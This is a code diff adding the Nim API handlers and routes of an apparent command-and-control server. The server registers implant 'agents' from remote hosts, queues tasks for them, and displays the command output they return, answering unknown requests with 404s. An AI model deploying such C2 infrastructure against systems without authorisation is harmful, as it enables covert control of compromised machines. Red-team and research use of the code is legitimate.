Updated directory structure

src/server/api/handlers.nim

@@ -0,0 +1,90 @@
+import terminal, strformat, strutils, sequtils, tables, json, times, base64, system, osproc, streams
+
+import ../globals
+import ../db/database
+import ../../types
+
+#[
+  Agent API
+  Functions relevant for dealing with the agent API, such as registering new agents, querying tasks and posting results
+]#
+proc register*(agent: Agent): bool = 
+
+    # The following line is required to be able to use the `cq` global variable for console output
+    {.cast(gcsafe).}:
+
+        # Check if listener that is requested exists
+        # TODO: Verify that the listener accessed is also the listener specified in the URL
+        # This can be achieved by extracting the port number from the `Host` header and matching it to the one queried from the database
+        if not cq.dbListenerExists(agent.listener.toUpperAscii): 
+            cq.writeLine(fgRed, styleBright, fmt"[-] {agent.ip} attempted to register to non-existent listener: {agent.listener}.", "\n")
+            return false
+
+        # Store agent in database
+        if not cq.dbStoreAgent(agent): 
+            cq.writeLine(fgRed, styleBright, fmt"[-] Failed to insert agent {agent.name} into database.", "\n")
+            return false
+
+        cq.add(agent)
+
+        let date = agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss")
+        cq.writeLine(fgYellow, styleBright, fmt"[{date}] ", resetStyle, "Agent ", fgYellow, styleBright, agent.name, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listener, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n") 
+
+    return true
+
+proc getTasks*(listener, agent: string): JsonNode = 
+
+    {.cast(gcsafe).}:
+
+        # Check if listener exists
+        if not cq.dbListenerExists(listener.toUpperAscii): 
+            cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
+            return nil
+
+        # Check if agent exists
+        if not cq.dbAgentExists(agent.toUpperAscii): 
+            cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
+            return nil
+
+        # Update the last check-in date for the accessed agent
+        cq.agents[agent.toUpperAscii].latestCheckin = now()
+        # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
+        #    return nil
+
+        # Return tasks in JSON format    
+        return %cq.agents[agent.toUpperAscii].tasks
+
+proc handleResult*(listener, agent, task: string, taskResult: TaskResult) = 
+
+    {.cast(gcsafe).}:
+
+        let date: string = now().format("dd-MM-yyyy HH:mm:ss")
+        
+        if taskResult.status == Failed: 
+            cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
+
+            if taskResult.data != "": 
+                cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
+
+                # Split result string on newline to keep formatting
+                for line in decode(taskResult.data).split("\n"):
+                    cq.writeLine(line)
+            else: 
+                cq.writeLine()
+
+        else:  
+            cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
+            
+            if taskResult.data != "": 
+                cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
+
+                # Split result string on newline to keep formatting
+                for line in decode(taskResult.data).split("\n"):
+                    cq.writeLine(line)
+            else: 
+                cq.writeLine()
+        
+        # Update task queue to include all tasks, except the one that was just completed
+        cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
+
+        return 

src/server/api/routes.nim

@@ -0,0 +1,113 @@
+import prologue, nanoid, json
+import sequtils, strutils, times
+
+import ./handlers
+import ../../types
+
+proc error404*(ctx: Context) {.async.} = 
+    resp "", Http404
+
+#[
+    POST /{listener-uuid}/register
+    Called from agent to register itself to the conquest server
+]# 
+proc register*(ctx: Context) {.async.} = 
+
+    # Check headers
+    # If POST data is not JSON data, return 404 error code
+    if ctx.request.contentType != "application/json": 
+        resp "", Http404
+        return
+
+    # The JSON data for the agent registration has to be in the following format
+    #[
+        {
+            "username": "username",
+            "hostname":"hostname",
+            "domain": "domain.local",
+            "ip": "ip-address",
+            "os": "operating-system",
+            "process": "agent.exe",
+            "pid":  1234,
+            "elevated": false.
+            "sleep": 10
+        }
+    ]#  
+
+    try: 
+        let 
+            postData: JsonNode = parseJson(ctx.request.body)
+            agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
+            agentUuid: string = generate(alphabet=join(toSeq('A'..'Z'), ""), size=8)
+            listenerUuid: string = ctx.getPathParams("listener")
+            date: DateTime = now()
+
+        let agent: Agent = newAgent(agentUuid, listenerUuid, date, agentRegistrationData) 
+        
+        # Fully register agent and add it to database
+        if not agent.register(): 
+            # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
+            # Return a 404 error code either way
+            resp "", Http404
+            return 
+
+        # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
+        resp agent.name
+
+    except CatchableError:
+        # JSON data is invalid or does not match the expected format (described above)
+        resp "", Http404
+
+    return
+
+#[
+    GET /{listener-uuid}/{agent-uuid}/tasks
+    Called from agent to check for new tasks
+]#
+proc getTasks*(ctx: Context) {.async.} = 
+    
+    let 
+        listener = ctx.getPathParams("listener")
+        agent = ctx.getPathParams("agent")
+    
+    let tasksJson = getTasks(listener, agent)
+    
+    # If agent/listener is invalid, return a 404 Not Found error code 
+    if tasksJson == nil: 
+        resp "", Http404
+
+    # Return all currently active tasks as a JsonObject
+    resp jsonResponse(tasksJson)
+
+
+#[
+    POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
+    Called from agent to post results of a task
+
+]#
+proc postResults*(ctx: Context) {.async.} = 
+    
+    let 
+        listener = ctx.getPathParams("listener")
+        agent = ctx.getPathParams("agent")
+        task = ctx.getPathParams("task")
+    
+    # Check headers
+    # If POST data is not JSON data, return 404 error code
+    if ctx.request.contentType != "application/json": 
+        resp "", Http404
+        return
+
+    try: 
+        let 
+            taskResultJson: JsonNode = parseJson(ctx.request.body)
+            taskResult: TaskResult = taskResultJson.to(TaskResult)
+        
+        # Handle and display task result
+        handleResult(listener, agent, task, taskResult)
+
+    except CatchableError:
+        # JSON data is invalid or does not match the expected format (described above)
+        resp "", Http404
+
+    return